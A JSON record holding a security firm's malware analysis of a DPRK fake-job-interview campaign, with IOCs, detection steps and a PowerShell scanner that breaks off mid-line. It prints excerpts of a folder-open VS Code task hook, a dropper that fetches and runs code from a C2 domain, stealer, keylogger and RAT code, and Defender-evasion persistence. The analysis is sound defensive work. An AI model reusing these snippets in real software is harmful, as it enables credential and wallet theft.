{
	"id": "1f4c57d3-8d81-4eb3-9dbb-6a5be732c7fe",
	"created_at": "2026-04-06T00:12:41.570068Z",
	"updated_at": "2026-04-12T02:21:30.382312Z",
	"deleted_at": null,
	"sha1_hash": "415047041e97e6592db5c6e845f500aa29c01092",
	"title": "VS Code Tasks Abuse by Contagious Interview (DPRK)",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 667305,
	"plain_text": "VS Code Tasks Abuse by Contagious Interview (DPRK)\r\nBy SEAL Intel\r\nPublished: 2026-01-13 · Archived: 2026-04-05 15:06:20 UTC\r\nThis report details the forensic analysis of a malicious repository\r\n( https://bitbucket[.]org/0xmvptechlab/ctrading ) associated with the DPRK \"Contagious Interview\"\r\ncampaign. The malware targets developers by embedding VS Code tasks execution hook as well as regular npm\r\napplication executing malicious fetch.\r\nThe attack employs a \"dual-stack\" architecture:\r\n1. Node.js Layer: Executes immediately upon infection to steal credentials, log keys, and establish a covert\r\nRAT within the .npm directory.\r\n2. Python Layer: Downloads a secondary infrastructure for long-term surveillance, cryptocurrency wallet\r\ntheft, and cryptocurrency mining.\r\nThe infection vector typically involves a malicious repository distributed as a 'take-home' technical assessment via\r\nLinkedIn. In some cases it's a request for code review when target is a security researcher or company developer\r\nlured in with partnership proposal. Threat actors leverage compromised or fabricated profiles with high follower\r\ncounts to impersonate recruiters and business developers from established organizations.\r\nThese campaigns are highly prevalent, and we attribute them to DPRK threat actors with high confidence. In the\r\nlast month, three separate victims reached out to SEAL requesting help. Each victim was approached in the same\r\nmanner, and each suffered significant financial losses. Although none of the victims executed the code directly,\r\nthey each enabled 'Trusted Workspace' in their VS Code instance - either to inspect the code manually or to allow\r\nan AI tool to do so. Each attack followed the same IOCs and TTPs described in the analysis of the most recent\r\ncase below. Additionally, each malicious repository’s GitHub commit history pointed to KST+9 (Korean)\r\ntimezone settings.\r\nThe Python-based malware is a well-known InvisibleFerret variant, while the Node.js layer is the similarly\r\npopular BeaverTail. We have mapped all filesystem artifacts left by both execution layers and provide instructions\r\nfor developers on how to limit their VS Code attack surface and perform a sanity check for signs of past infection.\r\nWhile these campaigns are persistent and sophisticated from a social engineering perspective, the malware fails to\r\nreach its full potential due to easily fingerprinted behavior and a persistence module that is broken on all platforms\r\nexcept Windows.\r\nDPRK Threat Actors Identities and Social Engineering Approach\r\nThe victim was initially contacted on LinkedIn by 'John Meltzer,' the CTO of a project called 'Meta2140.' The\r\nvictim was provided with a link to a Notion[.]so website containing a technical assessment task description and a\r\nURL to a Bitbucket repository hosting the malicious code. Although the victim only cloned the repository and did\r\nnot execute it, this was sufficient to trigger a VS Code Task Hijack attack. Project 'Meta2140' appears to be fully\r\nhttps://radar.securityalliance.org/vs-code-tasks-abuse-by-contagious-interview-dprk/\r\nPage 1 of 19\n\noperated by DPRK threat actors. The identity that initiated contact differs from the author of the commit messages\r\nin the malicious repository; however, both claim to be employees of 'Meta2140.' Moreover, the identity found in\r\nthe commit history is connected to past efforts by DPRK IT workers to develop the fraudulent project 'Ultra-X.'\r\nThis revelation allows us, with moderate to high confidence, to attribute some of the ongoing Contagious\r\nInterview campaigns to a few known DPRK IT workers who have been active in the space since as least early\r\n2024.\r\nCommit data from ctrading repository\r\ncommit b38de9527e8ead69a8ead5ce52a9202d2b58b5b7 (HEAD -\u003e main, origin/main, origin/HEAD)\r\nAuthor: Pietro \u003conepiece0989753@gmail.com\u003e\r\nDate: Thu Jan 8 00:53:44 2026 +0900\r\n feat(ui): add some fonts\r\nGithub Profile: https://github.com/pietroETH\r\nE-mails: onepiece0989753@gmail.com, williammorphy37@gmail.com, shinobi.design416@gmail.com\r\nBased on the structure and execution of deployed malware, we think that particular cluster of DPRK threat actors\r\nis prioritizing one-time data, credentials and crypto wallets theft over establishing a persistent connection to\r\nvictim's host.\r\nInitial Access \u0026 Infection Vectors\r\nThe malware is embedded into the repository using two vectors. The third vector, a malicious npm dependency,\r\nwas removed from npmjs registry at the time of the attack and most likely left by the attacker by accident (An\r\nartifact from past campaigns).\r\nA. VS Code Task Hijack\r\nThe more sophisticated/novel vector involves .vscode/tasks.json . A hidden task named eslint-check is\r\nconfigured with runOn: folderOpen . It executes a JavaScript file disguised as a font.\r\nFile: .vscode/tasks.json\r\n{\r\n \"label\": \"eslint-check\",\r\n \"type\": \"shell\",\r\n \"command\": \"node public/font/fa-brands-regular.woff2\", \u003c--- THIS WILL EXECUTE\r\n \"runOptions\": {\r\n \"runOn\": \"folderOpen\" \u003c--- DANGEROUS\r\n }\r\n}\r\nhttps://radar.securityalliance.org/vs-code-tasks-abuse-by-contagious-interview-dprk/\r\nPage 2 of 19\n\nB. Application Logic Hook\r\nIf the VS Code vector fails, the malware hooks the application's runtime. The file\r\nserver/routes/api/profile.js contains a getPassport function. When the developer runs the server and this\r\nfunction triggers, the infection begins.\r\nFile: server/routes/api/profile.js\r\nconst domain = \"chainlink-api-v3.com\"; //Typosquatted Domain\r\nconst subdomain = \"api/service/token\"\r\nconst errorHandler = (error) =\u003e {\r\n try {\r\n // ... (Validation logic) ...\r\n const createHandler = (errCode) =\u003e {\r\n try {\r\n // Dynamic execution of the error string\r\n const handler = new (Function.constructor)('require', errCode);\r\n return handler;\r\n } catch (e) { return null; }\r\n };\r\n const handlerFunc = createHandler(error);\r\n if (handlerFunc) { handlerFunc(require); }\r\n } catch (globalError) { }\r\n };\r\nconst id = \"b2040f01294c183945fdbe487022cf8e\";\r\nconst getPassport = () =\u003e {\r\n // The server returns the payload inside a 404/500 Error response\r\n axios.get(`http://${domain}/${subdomain}/${id}`)\r\n .then(res =\u003e res.data)\r\n .catch(err =\u003e errorHandler(err.response.data || \"404\"));\r\n}\r\nC. Malicious Dependency\r\nThe malware also tries to installs malicious dependency grayavatar using npm install . The dependency was\r\nrequesting shell access using child_process to execute obfuscated JavaScript code. The details of the package\r\ncan be inspected here: https://socket.dev/npm/package/grayavatar/overview/1.0.2\r\nFile: ctrading/server/package.json (partial)\r\n{\r\n \"dependencies\": {\r\n \"grayavatar\": \"latest\"\r\nhttps://radar.securityalliance.org/vs-code-tasks-abuse-by-contagious-interview-dprk/\r\nPage 3 of 19\n\n}\r\n}\r\nStage 1: The \"Error Handler\" Dropper\r\nThe initial JavaScript payload (found in the fake font and profile.js ) contacts a C2 domain ( chainlink-api-v3.com ).\r\nThe server intentionally returns a non-200 error code (e.g., 404). The script captures the error response body,\r\nwhich contains the actual malicious code, and executes it using new Function() .\r\nDropper Logic:\r\nconst errorHandler = (error) =\u003e {\r\n try {\r\n const createHandler = (errCode) =\u003e {\r\n // Compiles the error string into executable code\r\n const handler = new (Function.constructor)('require', errCode);\r\n return handler;\r\n };\r\n const handlerFunc = createHandler(error);\r\n if (handlerFunc) {\r\n handlerFunc(require); // Executes the payload\r\n }\r\n } catch (globalError) {}\r\n};\r\nStage 2: In-Memory Node.js Controller\r\nThe payload fetched in Stage 1 is a complex Node.js controller executed entirely in memory. It does not write\r\nitself to disk immediately. Its role is to steal data instantly and deploy the secondary Python infrastructure. It\r\nexecutes five distinct modules:\r\n1. The Keylogger \u0026 Screenshotter\r\nInstalls node-global-key-listener and screenshot-desktop . It captures keystrokes and takes screenshots on\r\nmouse clicks or Enter key presses, uploading them to 172.86.116.178 .\r\nIn-Memory Module (Keylogger)\r\n execSync(\"npm install --save node-global-key-listener screenshot-desktop sharp ...\", {\r\n windowsHide: true\r\n });\r\n // ...\r\nhttps://radar.securityalliance.org/vs-code-tasks-abuse-by-contagious-interview-dprk/\r\nPage 4 of 19\n\n_0x5cd169.addListener(function (_0x4a5d32, _0x4d2097) {\r\n try {\r\n if (_0x4a5d32.state == \"DOWN\") {\r\n // ... (Key logging logic) ...\r\n if (_0x4a5d32.name == \"LEFT\\\\x20CTRL\" || _0x4a5d32.name == \"RIGHT\\\\x20CTRL\") {\r\n _0x125304 += \"\u003cCTRL\u003e\";\r\n // ...\r\n2. The File Grabber\r\nScans the user's home directory for sensitive files ( .env , .ssh , wallet , secret , .config ). It specifically\r\ntargets developer secrets and configuration files.\r\nThe module recursively scans browser extension directories, specifically looking for the extension IDs (e.g.,\r\nnkbihfbeogaeaoehlefnkodbefgpgknn ). To prepare for exfiltration, it copies the active LevelDB database files to a\r\nhidden staging directory ~/.n3/\r\nFiles are renamed sequentially to tp0 , tp1 , tp2 , etc., to obfuscate their original filenames (e.g.,\r\n000005.ldb , MANIFEST-000001 ).\r\nContent:\r\ntp0 (MANIFEST): Database metadata.\r\ntp2 / tp3 (Logs): Transaction logs referencing the extensions IDs.\r\ntp4 (LDB): The actual LevelDB table containing encrypted vault data (Seed Phrases/Keys).\r\nWhile the Node.js module handles the copying of files, way.py Python module ensures the files are accessible.\r\nSee Section 5: Stage 4 (Python Payloads).\r\nIn-Memory Module (Grabber)\r\nconst excludeFolders = [\"node_modules\", \"npm\", \"hooks\", ...]; // Anti-clutter\r\nconst searchKey = [\"*.env*\", \"*.doc\", \"*.docx\", \"*.pdf\", \"*.secret\", \"*.json\", \"*.ts\"];\r\n// ...\r\nconst scanDir = async c =\u003e {\r\n // ...\r\n } else if (j.isFile() \u0026\u0026 isFileMatching(g)) {\r\n await uf(h); // Upload function\r\n await sleep(200);\r\n }\r\nhttps://radar.securityalliance.org/vs-code-tasks-abuse-by-contagious-interview-dprk/\r\nPage 5 of 19\n\nList of file extensions malware is looking for to exfiltrate\r\n3. The Clipper\r\nMonitors the system clipboard for cryptocurrency addresses. It runs a loop checking pbpaste (macOS) or\r\npowershell Get-Clipboard (Windows).\r\nIn-Memory Module (Clipper)\r\n async function h() {\r\n if (os.platform() == \"darwin\") {\r\n exec(\"pbpaste\", { ... }, (j, k, l) =\u003e {\r\n // ... Check if clipboard changed ...\r\n }, ...);\r\n } else if (os.platform() == \"win32\") {\r\n exec(\"powershell Get-Clipboard\", { ... }, (j, k, l) =\u003e {\r\n // ... Check if clipboard changed ...\r\n }, ...);\r\n }\r\n }\r\n setInterval(h, 500);\r\n4. The Browser Stealer\r\nTargets local database files for Chrome, Brave, and Opera. It specifically looks for the Login Data and Web\r\nData SQLite files.\r\nIn-Memory Module (Stealer)\r\nconst getBasePaths = () =\u003e {\r\n const d = process.platform;\r\n if (d === \"win32\") {\r\n return [\"\" + path.join(process.env.LOCALAPPDATA, \"Google/Chrome/User Data\"), ...];\r\n } else if (d === \"linux\") {\r\n return [\"\" + path.join(process.env.HOME, \".config/google-chrome\"), ...];\r\n }\r\n // ...\r\n5. The Node.js RAT\r\nhttps://radar.securityalliance.org/vs-code-tasks-abuse-by-contagious-interview-dprk/\r\nPage 6 of 19\n\nEstablishes a persistent connection to the C2 server using socket.io-client . This allows the attacker to execute\r\narbitrary shell commands on the infected machine.\r\nIn-Memory Module (RAT)\r\n const _0x1d5870 = _0x310320(\"http://\" + m + \":\" + p, { ... }); // Connects to C2\r\n _0x1d5870.on(\"command\", _0x56daa5 =\u003e {\r\n try {\r\n exec(_0x56daa5.message, { ... }, (_0x1a0469, _0x129a16, _0x2dd6d4) =\u003e {\r\n // Executes command sent by server and returns stdout/stderr\r\nStage 3: The Python Stager ( .nlp )\r\nAfter the Node.js modules are deployed, the malware attempts to establish a parallel Python environment. This is\r\nhandled by a stager script detected as .nlp (on Linux/Mac).\r\nAll Python payloads (stager, RAT and miner) are obfuscated using nested base64 encoding together with zlib\r\ncompression. An unsophisticated technique with the sole purpose of obfuscating the payload from static analyzers.\r\nThis script prepares the system by installing requests , creating a hidden directory ~/.n2 , and downloading the\r\nfinal two Python payloads: way and pow .\r\n.nlp Stager\r\nhost1 = \"146.70.253.107\"\r\npd = os.path.join(home, \".n2\")\r\nap = pd + \"/way\"\r\ndef download_payload():\r\n # ...\r\n # Download the RAT module\r\n aa = requests.get(host2+\"/payload/\"+sType+\"/\"+gType, allow_redirects=True)\r\n with open(ap, 'wb') as f:f.write(aa.content)\r\n # ...\r\n# Execution Logic\r\nif res:\r\n if ot==\"Windows\":subprocess.Popen([sys.executable, ap], ...)\r\n else:subprocess.Popen([sys.executable, ap])\r\nStage 4: Python Payloads\r\nThe .nlp stager drops two specific modules into the hidden directory ~/.n2 .\r\nhttps://radar.securityalliance.org/vs-code-tasks-abuse-by-contagious-interview-dprk/\r\nPage 7 of 19\n\nModule A: The RAT \u0026 Wallet Stealer ( way.py )\r\nThis is the primary data collection tool. It connects to Cluster A (146.70.253.107:2242) C2.\r\nCapabilities:\r\n1. Browser Killing: Forcibly terminates chrome and brave processes. This releases filesystem locks on\r\nLevelDB databases, allowing the Node.js component to successfully copy wallet data to the staging\r\ndirectory ~/.n3 .\r\n2. AnyDesk: Can download and execute AnyDesk ( ssh_any ) for GUI remote access.\r\n3. Keylogging: Uses pyWinhook (Windows only) for secondary keylogging.\r\nBrowser Killer\r\ndef ssh_kill(A,args):\r\n # ...\r\n if os_type == \"Windows\":\r\n try:subprocess.Popen('taskkill /IM chrome.exe /F')\r\n except:pass\r\n else:\r\n try:subprocess.Popen('killall Google\\ Chrome')\r\n except:pass\r\nUpload Log\r\nThe malware attempts to write a receipt of uploaded files to flist . If this file is missing, the exfiltration may\r\nhave been interrupted. This particular malware is required to download a lot of files in the process of execution,\r\nnetwork interuption may cause it to break.\r\ndef write_flist(s):\r\n default_path = os.path.join(os.path.expanduser(\"~\"), \".n2\")\r\n with open(default_path + '/flist', 'a') as f:\r\n f.write(s)\r\nStaging for Exfiltration\r\nThe ~/.n3 directory contains numerous logs with information about what files of interests are to be send to\r\nattacker controlled server.\r\nModule B: The Miner \u0026 Persistence ( pow.py )\r\nThis script downloads an XMRig miner and attempts to establish system persistence.\r\nThis module is Windows-Only. It attempts to import winreg at the top level. On Linux/macOS, this import\r\nraises an exception, causing the script to exit immediately. Consequently, no automated persistence or mining is\r\nestablished on Linux systems via this module.\r\nhttps://radar.securityalliance.org/vs-code-tasks-abuse-by-contagious-interview-dprk/\r\nPage 8 of 19\n\nOS Limitation\r\ntry:\r\n import subprocess\r\n # ...\r\n import winreg # \u003c--- FAILS ON LINUX/MAC, triggering the except block\r\n import ctypes\r\nexcept:\r\n pass # \u003c--- Script terminates here on non-Windows OS\r\nStage 5: Node.js Persistence \u0026 Re-infection\r\nC2: 172.86.116.178 (Windows/macOS/Linux)\r\nPath/Location: ~/.npm/scoped_dir[TIMESTAMP]/ (VS Code Tasks hijack only)\r\nPID Files: ~/.npm/vhost.ctl , ~/.npm/npm-compiler.log (Both VS Code Tasks and Application Logic Hook)\r\nThe malware creates hidden directories within .npm acting as a secondary persistence mechanism.\r\nThe malware's footprint on the disk varies significantly depending on which infection vector triggered the\r\nexecution.\r\nScenario A: VS Code Task Hijack (Disk Persistence)\r\nCreates a hidden directory: ~/.npm/scoped_dir[TIMESTAMP]/ .\r\nWrites a Loader Script ( main.js ) to disk.\r\nIf the user re-opens the folder, the task re-executes. The dropped main.js acts as a localized persistence\r\nloader.\r\nhttps://radar.securityalliance.org/vs-code-tasks-abuse-by-contagious-interview-dprk/\r\nPage 9 of 19\n\nuser@host:~/.npm$ ls -la\r\ntotal 48\r\ndrwxrwxr-x 10 user user 4096 Jan 9 18:48 .\r\ndrwx------ 26 user user 4096 Jan 9 15:22 ..\r\ndrwxrwxr-x 5 user user 4096 Oct 9 17:05 _cacache\r\ndrwxrwxr-x 2 user user 4096 Jan 10 11:28 _logs\r\n-rw-rw-r-- 1 user user 4 Jan 9 16:25 npm-compiler.log\r\ndrwxrwxr-x 3 user user 4096 Oct 9 17:05 _npx\r\ndrwxrwxr-x 2 user user 4096 Oct 16 13:12 _prebuilds\r\ndrwxrwxr-x 3 user user 4096 Jan 9 15:21 scoped_dir6760_1767990002\r\ndrwxrwxr-x 3 user user 4096 Jan 9 16:25 scoped_dir6760_1767993943\r\ndrwxrwxr-x 2 user user 4096 Jan 9 18:45 scoped_dir6760_1768002355\r\ndrwxrwxr-x 3 user user 4096 Jan 9 19:48 scoped_dir6760_1768002534\r\n-rw-rw-r-- 1 user user 0 Jan 6 16:35 _update-notifier-last-checked\r\n-rw-rw-r-- 1 user user 4 Jan 9 16:25 vhost.ctl\r\nuser@host:~/.npm$ ls -la scoped_dir*\r\nscoped_dir6760_1767990002:\r\ntotal 52\r\ndrwxrwxr-x 3 user user 4096 Jan 9 15:21 .\r\ndrwxrwxr-x 10 user user 4096 Jan 9 18:48 ..\r\n-rw-rw-r-- 1 user user 532 Jan 9 15:20 main.js\r\ndrwxrwxr-x 76 user user 4096 Jan 9 15:21 node_modules\r\n-rw-rw-r-- 1 user user 346 Jan 9 15:21 package.json\r\n-rw-rw-r-- 1 user user 30979 Jan 9 15:21 package-lock.json\r\nScenario B: Application Logic Hook (Volatile Execution)\r\nNo scoped_dir is created.\r\nNo main.js is written to disk.\r\nThe payload executes immediately in-memory using eval() logic.\r\nOn Linux/macOS, this state is volatile. If the npm start process is terminated or the machine reboots, the\r\nmalware stops running and the full npm re-build is neccessary.\r\nuser@host:~/.npm$ ls -la\r\ntotal 36\r\ndrwxrwxr-x 6 user user 4096 Jan 12 17:19 .\r\ndrwx------ 26 user user 4096 Jan 12 09:46 ..\r\ndrwxrwxr-x 5 user user 4096 Oct 9 17:05 _cacache\r\ndrwxrwxr-x 2 user user 4096 Jan 12 09:46 _logs\r\n-rw-rw-r-- 1 user user 4 Jan 12 09:46 npm-compiler.cache\r\n-rw-rw-r-- 1 user user 4 Jan 12 09:46 npm-compiler.log\r\ndrwxrwxr-x 3 user user 4096 Oct 9 17:05 _npx\r\ndrwxrwxr-x 2 user user 4096 Jan 12 09:44 _prebuilds\r\n-rw-rw-r-- 1 user user 0 Jan 6 16:35 _update-notifier-last-checked\r\n-rw-rw-r-- 1 user user 4 Jan 12 09:46 vhost.ctl\r\nhttps://radar.securityalliance.org/vs-code-tasks-abuse-by-contagious-interview-dprk/\r\nPage 10 of 19\n\nuser@host:~/.npm$ awk 1 *.ctl *.cache *.log\r\n7767\r\n7779\r\n7783\r\nShared Artifacts (Lock Files)\r\nRegardless of the vector, the running malware creates empty files in ~/.npm/ to serve as Lock Files (containing\r\nonly a Process ID) to prevent duplicate infections.\r\nFile Associated In-Memory Process\r\nvhost.ctl Node RAT: Connects to C2 to execute shell commands.\r\nnpm-compiler.log\r\nClipper: Monitors clipboard for crypto addresses.\r\nnpm-compiler.mainMain Controller: Orchestrates the infection. (Note: This file is removed when the\r\nmain process terminates).\r\nIn memory process\r\nThe malware is designed to run directly from memory as priority ( node -e ) alongside the Python RAT ( way )\r\nregardless of the scoped_dir presence.\r\nuser 7767 ... node -e const _0x3782a4=_0x3748;... // In-Memory Node RAT\r\nuser 7779 ... node -e const n=b;(function(c,d)... // In-Memory Clipper\r\nuser 7924 ... /usr/bin/python3 /home/user/.n2/way // Python RAT\r\nThe same PIDs ( 7767,7779,7924 ) can be found in associcated .npm/* PID files.\r\n1. The Loader ( main.js ):\r\nThe main.js file found in scoped_dir... is identical to the Stage 1 Dropper. It does not contain the RAT\r\ncode itself. Instead, it re-fetches the payload from chainlink-api-v3.com . This ensures that even if the in-memory process is killed, the persistence file simply re-downloads the latest version of the malware.\r\nSample ( ~/.npm/scoped_dir.../main.js ):\r\n// This is a re-infection loop. It contacts the C2 to download the core payload again.\r\nconst url = 'http://chainlink-api-v3.com/api/service/token/b2040f01294c183945fdbe487022cf8e';\r\naxios.get(url,{headers:{'x-secret-header':'secret'}})\r\n .then(function(res){})\r\n .catch(function (res) {\r\nhttps://radar.securityalliance.org/vs-code-tasks-abuse-by-contagious-interview-dprk/\r\nPage 11 of 19\n\n// ... executes the downloaded payload ...\r\n });\r\n2. The In-Memory Processes:\r\nWhen main.js runs, it spawns two Node.js processes. These processes write their PIDs to files in ~/.npm to act\r\nas lockfiles (preventing duplicates).\r\nvhost.ctl (PID File): Corresponds to the Node RAT module. It connects to 172.86.116.178:5918 and\r\nlistens for exec commands.\r\nnpm-compiler.log (PID File): Corresponds to the Clipboard Clipper module. It monitors the clipboard\r\nfor crypto addresses.\r\nLinux \u0026 macOS\r\nThe .nlp stager executes payloads immediately but does not write to .bashrc , cron , or systemd .\r\nThe persistence module ( pow ) crashes immediately due to Windows-specific imports ( winreg ).\r\nThe Node.js persistence ( ~/.npm ) relies on the user or the IDE re-executing the malicious task or the\r\nmain.js file. It does not auto-start on boot unless specifically triggered by a manipulated environment\r\n(e.g., if .npm is in the path or hooked).\r\nWindows\r\nThe malware utilizes a two-tiered persistence strategy on Windows systems, governed by the pow.py module. It\r\ncombines classic Startup folder dropping with advanced Scheduled Task creation to ensure the payload (XMRig\r\nminer/Backdoor) survives reboots and user actions.\r\n1. Startup Folder Injection (The \"Injector\")\r\nThe initial execution of pow.py immediately establishes persistence by dropping a Python script into the user's\r\nStartup directory. This script is disguised as a system maintenance tool.\r\nLocation: %APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\\r\nFilename: Windows Update Script.pyw\r\nFile Extension: .pyw (Executes silently without a console window).\r\nCode Sample:\r\nAPPDATA_ROAMING_DIRECTORY = os.getenv(\"APPDATA\")\r\nTSUNAMI_INJECTOR_NAME = \"Windows Update Script.pyw\"\r\nTSUNAMI_INJECTOR_FOLDER = f\"{APPDATA_ROAMING_DIRECTORY}/Microsoft/Windows/Start Menu/Programs/Startup\"\r\n# ... (Script writes the obfuscated content of TSUNAMI_INJECTOR_SCRIPT to this path) ...\r\nhttps://radar.securityalliance.org/vs-code-tasks-abuse-by-contagious-interview-dprk/\r\nPage 12 of 19\n\nwith open(TSUNAMI_INJECTOR_PATH, \"w\") as f:\r\n f.write(obfuscate_script(TSUNAMI_INJECTOR_SCRIPT, loop_count = 50))\r\n2. Scheduled Task Hijacking (The \"Payload\")\r\nThe script dropped in the Startup folder ( Windows Update Script.pyw ) contains secondary logic to register a\r\nScheduled Task. This task ensures that even if the Startup item is removed, the malware re-executes upon user\r\nlogin.\r\nTask Name: Runtime Broker (Mimics the legitimate Windows process RuntimeBroker.exe ).\r\nTrigger: AtLogOn (Runs immediately when the user signs in).\r\nExecution Target: A malicious executable masked as\r\n%APPDATA%\\Microsoft\\Windows\\Applications\\Runtime Broker.exe .\r\nPrivileges: Sets RunLevel = 1 (Highest Privileges).\r\nCode Sample:\r\ndef create_task() -\u003e None:\r\n powershell_script = f\\\"\\\"\\\"\r\n $Action = New-ScheduledTaskAction -Execute \"{TSUNAMI_INSTALLER_PATH}\"\r\n $Trigger = New-ScheduledTaskTrigger -AtLogOn\r\n $Principal = New-ScheduledTaskPrincipal -UserId $env:USERNAME -LogonType Interactive\r\n $Principal.RunLevel = 1\r\n $Settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -DontStopO\r\n Register-ScheduledTask -Action $Action -Trigger $Trigger -Principal $Principal -Settings $Settings -Task\r\n \\\"\\\"\\\"\r\n subprocess.run([\"powershell.exe\",\"-Command\", powershell_script], ...)\r\n3. Windows Defender Evasion\r\nTo prevent the persistent files from being flagged or deleted by antivirus, the script executes PowerShell\r\ncommands to add its specific directories to the Windows Defender Exclusion list.\r\nCode Sample:\r\ndef add_windows_defender_exception(filepath: str) -\u003e None:\r\n try:\r\n subprocess.run(\r\n [\"powershell.exe\", f\"Add-MpPreference -ExclusionPath '{filepath}'\"],\r\n shell = True,\r\n creationflags = subprocess.CREATE_NO_WINDOW,\r\n # ...\r\n )\r\nhttps://radar.securityalliance.org/vs-code-tasks-abuse-by-contagious-interview-dprk/\r\nPage 13 of 19\n\n4. Process Masquerading\r\nThe miner payload itself is downloaded and renamed to look like the Microsoft Edge browser to confuse users\r\ninspecting Task Manager.\r\nFake Name: msedge.exe\r\nLocation: %LOCALAPPDATA%\\Microsoft\\Windows\\Applications\\msedge.exe\r\nCode Sample:\r\nEXCEPTION_PATHS = [\r\n # Tsunami Installer\r\n rf\"{ROAMING_APPDATA_PATH}\\Microsoft\\Windows\\Applications\\Runtime Broker.exe\",\r\n # XMRig miner (Renamed)\r\n rf\"{LOCAL_APPDATA_PATH}\\Microsoft\\Windows\\Applications\\msedge.exe\"\r\n]\r\nDetection\r\n1. Check for Hidden Directories: Execute ls -la ~/ and inspect for .n2 , .n3 , .nlp or .npm .\r\n2. Inspect .npm: Check ~/.npm for non-directory files like vhost.ctl or folders starting with\r\nscoped_dir .\r\n3. Process List: Look for node processes running out of ~/.npm or python processes running out of\r\n~/.n2 .\r\nRemediation\r\n1. Isolate: Disconnect the machine from the network immediately.\r\n2. Credential Rotation (Critical): The presence of ~/.n3 indicates that MetaMask/Crypto wallets were\r\nstaged for theft. Transfer funds to a new wallet (new seed phrase) from a clean device immediately. Rotate\r\nall SSH keys and API tokens found in .env files.\r\n3. Cleanup:\r\nLinux/macOS: Delete the repository and artifacts ( rm -rf ~/.n2 ~/.n3 ~/.nlp ~/.npm/vhost.ctl\r\n~/.npm/scoped_dir* ). Kill malicious processes: `pkill -f \"node -e\", pkill -f \"python3 .*way\", pkill -\r\nf \"python3 .*pow\" and/or reboot the machine to clear memory-resident payloads.\r\nWindows: Due to deep persistence (Registry, Scheduled Tasks, Defender Exclusions), a full OS re-install is recommended.\r\nThe full reset of operating system is reccomended regardless of the platform on which malware executed.\r\nHardening your VS Code\r\nPlace the following inside of global settings.json (CTRL + SHIFT + P -\u003e 'Preferences: Open User Settings'):\r\nhttps://radar.securityalliance.org/vs-code-tasks-abuse-by-contagious-interview-dprk/\r\nPage 14 of 19\n\n{\r\n \"task.allowAutomaticTasks\": \"off\",\r\n \"security.workspace.trust.enabled\": true,\r\n \"security.workspace.trust.untrustedFiles\": \"open\",\r\n \"security.workspace.trust.emptyWindow\": false\r\n}\r\nIf the above setting is present, VS Code Tasks won't run regardless of enabled Trusted Workspace.\r\nAutomated Detection on Windows\r\nRun the following powershell command to check for malware artifacts leftovers.\r\nif (-not ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Se\r\nAbove command broken down into individual modules:\r\n1. Check Administrator Privileges\r\nif (-not ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Se\r\n Write-Host \"`n[WARNING] Not running as Administrator - results may be incomplete`n\" -ForegroundColor Yellow\r\n}\r\n2. Scan for Hidden Directories\r\nWrite-Host \"`n== Hidden directories ==\" -ForegroundColor Yellow\r\n$dirs=Get-ChildItem $HOME -Force -Directory -ErrorAction SilentlyContinue | Where-Object { $_.Name -in '.n2','.n\r\nif ($dirs) {\r\n $dirs | ForEach-Object { Write-Host \"THREAT FOUND: $($_.FullName)\" -ForegroundColor Red }\r\n} else {\r\n Write-Host \"None found\" -ForegroundColor Green\r\n}\r\n3. Scan for Suspicious .npm Contents\r\nWrite-Host \"`n== Suspicious .npm contents ==\" -ForegroundColor Yellow\r\nif (Test-Path \"$HOME\\.npm\") {\r\n $npm=Get-ChildItem \"$HOME\\.npm\" -Force -ErrorAction SilentlyContinue | Where-Object { $_.Name -eq 'vhost.ctl\r\n if ($npm) {\r\n $npm | ForEach-Object { Write-Host \"THREAT FOUND: $($_.FullName)\" -ForegroundColor Red }\r\n } else {\r\n Write-Host \"No suspicious files\" -ForegroundColor Green\r\n }\r\n} else {\r\nhttps://radar.securityalliance.org/vs-code-tasks-abuse-by-contagious-interview-dprk/\r\nPage 15 of 19\n\nWrite-Host \".npm not found\" -ForegroundColor Green\r\n}\r\n4. Scan for Suspicious Running Processes\r\nWrite-Host \"`n== Suspicious running processes ==\" -ForegroundColor Yellow\r\n$procs=Get-CimInstance Win32_Process -ErrorAction SilentlyContinue | Where-Object { ($_.Name -imatch '^(node|pyt\r\nif ($procs) {\r\n $procs | ForEach-Object {\r\n Write-Host \"THREAT FOUND: $($_.Name) (PID: $($_.ProcessId))\" -ForegroundColor Red\r\n Write-Host \" Path: $($_.ExecutablePath)\" -ForegroundColor Red\r\n Write-Host \" CommandLine: $($_.CommandLine)\" -ForegroundColor Red\r\n }\r\n} else {\r\n Write-Host \"No suspicious processes\" -ForegroundColor Green\r\n}\r\n5. Scan for Suspicious Files in AppData\r\nWrite-Host \"`n== Suspicious files in AppData ==\" -ForegroundColor Yellow\r\n$appdata=@(\"$env:APPDATA\\Microsoft\\Windows\\Applications\\Runtime Broker.exe\",\"$env:LOCALAPPDATA\\Microsoft\\Windows\r\nif ($appdata) {\r\n $appdata | ForEach-Object { Write-Host \"THREAT FOUND: $_\" -ForegroundColor Red }\r\n} else {\r\n Write-Host \"No suspicious AppData files\" -ForegroundColor Green\r\n}\r\n6. Scan for Suspicious Scheduled Tasks\r\nWrite-Host \"`n== Suspicious Scheduled Tasks ==\" -ForegroundColor Yellow\r\n$tasks=Get-ScheduledTask -ErrorAction SilentlyContinue | Where-Object { ($_.TaskName -eq 'Runtime Broker') -or (\r\nif ($tasks) {\r\n $tasks | ForEach-Object {\r\n Write-Host \"THREAT FOUND: Task '$($_.TaskName)' [$($_.TaskPath)]\" -ForegroundColor Red\r\n Write-Host \" Execute: $($_.Actions.Execute)\" -ForegroundColor Red\r\n }\r\n} else {\r\n Write-Host \"No suspicious scheduled tasks\" -ForegroundColor Green\r\n}\r\n7. Scan for Windows Defender Exclusions\r\nWrite-Host \"`n== Windows Defender Exclusions ==\" -ForegroundColor Yellow\r\ntry {\r\nhttps://radar.securityalliance.org/vs-code-tasks-abuse-by-contagious-interview-dprk/\r\nPage 16 of 19\n\n$prefs=Get-MpPreference\r\n $excl=$prefs.ExclusionPath + $prefs.ExclusionProcess | Where-Object { $_ -imatch '\\\\\\.npm|\\\\\\.n2|\\\\\\.n3|\\\\\\.\r\n if ($excl) {\r\n $excl | ForEach-Object { Write-Host \"THREAT FOUND: Defender exclusion '$_'\" -ForegroundColor Red }\r\n } else {\r\n Write-Host \"No suspicious Defender 